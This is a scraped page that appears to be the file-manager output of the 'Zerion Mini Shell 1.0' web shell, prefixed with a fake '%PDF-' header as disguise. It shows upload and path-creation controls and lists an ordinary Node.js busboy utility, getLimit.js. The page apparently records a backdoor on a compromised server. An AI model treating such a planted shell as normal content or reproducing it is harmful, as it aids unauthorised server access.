%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/nodejs/@fastify/busboy/lib/utils/
Upload File :
Create Path :
Current File : //usr/share/nodejs/@fastify/busboy/lib/utils/getLimit.js

'use strict'

module.exports = function getLimit (limits, name, defaultLimit) {
  if (
    !limits ||
    limits[name] === undefined ||
    limits[name] === null
  ) { return defaultLimit }

  if (
    typeof limits[name] !== 'number' ||
    isNaN(limits[name])
  ) { throw new TypeError('Limit ' + name + ' is not a valid number') }

  return limits[name]
}

Zerion Mini Shell 1.0